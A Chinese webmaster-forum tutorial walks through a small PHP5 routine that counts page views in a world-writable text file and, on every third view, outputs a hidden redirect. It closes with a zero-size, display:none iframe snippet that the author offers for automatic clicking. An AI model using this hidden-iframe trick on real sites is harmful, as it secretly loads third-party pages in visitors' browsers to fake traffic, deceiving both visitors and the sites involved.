|
这是一个很简单的练习,但发现有很多朋友都想要这样的例程
这个例程指定了每3个PV浏览量,自动点击一次百度知道链接zhidao.baidu.com。就是说,你打开这个链接后,每刷新3次,你可以看到源代码里面就会执行一次隐藏的转向,当然我为了让大家看到转向,iframe设置了高和宽,而你可以设置成0
本例基于PHP5_utf-8,并且是面向对象。是一个简单的例程,我们会讲解此例程的全部原理,以帮助大家熟悉PHP执行过程。
首先来看我们的目录结构
index.php
PVtraffic/DisplayCode.php
PVtraffic/Setting.php
PVtraffic/PVLog.php
目录结构是非常简单的,index.php负责显示跳转代码,就是说,刷新操作和显示跳转代码等,都是index.php需要干的事情,当然这个index.php也可以变成任何支持php的页面,比如display.php等。
我们来看index.php的代码
<?php
require_once('PVtraffic/DisplayCode.php');
$DisplayClickCode = new DisplayClickCode;
$DisplayClickCode->DisplayCode();
?>
require_once表明了index首先包含了PVtraffic/DisplayCode.php这个页面
然后new一下,复活对象,这样这个对象才可以使用,我第7课讲的http://cnwebmasters.com/viewthread.php?tid=63025&extra=page%3D1
我们看PVtraffic/DisplayCode.php的源代码
一个类class DisplayClickCode
里面3个自定义函数,http://cnwebmasters.com/viewthread.php?tid=62985&extra=page%3D1
function DisplayCode()
function SavePageViews($ClickInterval)
WriteFile($file,$mode,$content)
所以,index.php源代码中,$DisplayClickCode = new DisplayClickCode;就是复活DisplayCode.php页面中class DisplayClickCode类,复活后,拿一个新的变量来命名$DisplayClickCode。注意,前面是变量,后面是类,虽然字母一样,但是意义不同。
复活后,我们就可以用类class DisplayClickCode里面的自定义函数了
index.php里面的第3行,我们就使用我们自定义的函数DisplayCode()
$DisplayClickCode->DisplayCode();
下面我来讲讲
PVtraffic/DisplayCode.php页面,这个页面有一个类包含3个自定义函数,作用分别是:
function DisplayCode() 显示跳转代码功能
function SavePageViews($ClickInterval) 储存PV值到文本数据库,带一个参数
function WriteFile($file,$mode,$content) 写或生成一个文件
好了,现在在说说全部页面的流程,这点很重要:
首先流量经过index.php
index.php载入页面PVtraffic/DisplayCode.php
并且index.php调用PVtraffic/DisplayCode.php页面的函数DisplayCode()
DisplayCode()这个函数载入页面Setting.php(我们的手动设置页面),得到我们要求的点击间隔和跳转代码
然后DisplayCode()这个函数再计算当前已经浏览的PV值是否与我们指定的PV值相等 $this->SavePageViews($ClickInterval) == $ClickInterval
如果相等,打印出跳转代码 echo $DisplayClickCode;
全部流程就完毕了,要注意的是:
SavePageViews($ClickInterval)这个函数是储存当前的PV值,它将当前PV的值储存到PVtraffic/PVLog.php这个页面,所以为什么我们要把这个页面设置成777可写。PVtraffic/PVLog.php也相当于我们的文本数据库,只是这里的数据库非那种数据库,这里的数据库只是一个非常简单的可写文本而已,但都储存数据,所以也叫数据库
WriteFile($file,$mode,$content)这个函数,是SavePageViews函数使用的,就是SavePageViews用来储存pv值,要将一些数据写到一个文件中,所以要用WriteFile函数来实现写入数据到文本的功能。
Setting.php包含了2个变量,分别设置了我们的时间间隔和跳转源代码。
大概的讲解就算结束了,更详细的函数内部讲解,请看源代码,写的很详细。
小提示:
$this-> 表示使用当前类的指定函数
public function 表示这个函数可以在类的外部被调用,就是说公开的可以大家用
private function 表示这个函数只能在它的当前类里面使用,外部调用不起,就是只能一个人用,别人不能用:)
$DisplayClickCode = new DisplayClickCode; 新建一个类实例,就是说DisplayClickCode是一套规则,我们这时开通一个新的项目$DisplayClickCode,而这个项目使用class DisplayClickCode规则。这个项目也叫一个对象。
$DisplayClickCode->DisplayCode(); 使用对象 $DisplayClickCode 指定的类中的函数 DisplayCode()
本例是初级例程,不包含geoip判断等
部分朋友想用于自动点击,这里写一个iframe的写法给大家
- <iframe src="http://cnwebmasters.com/" width="0" height="0" frameborder="no" style="display:none;"></iframe>
复制代码
2012年6月20日更新
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
评分
-
查看全部评分
|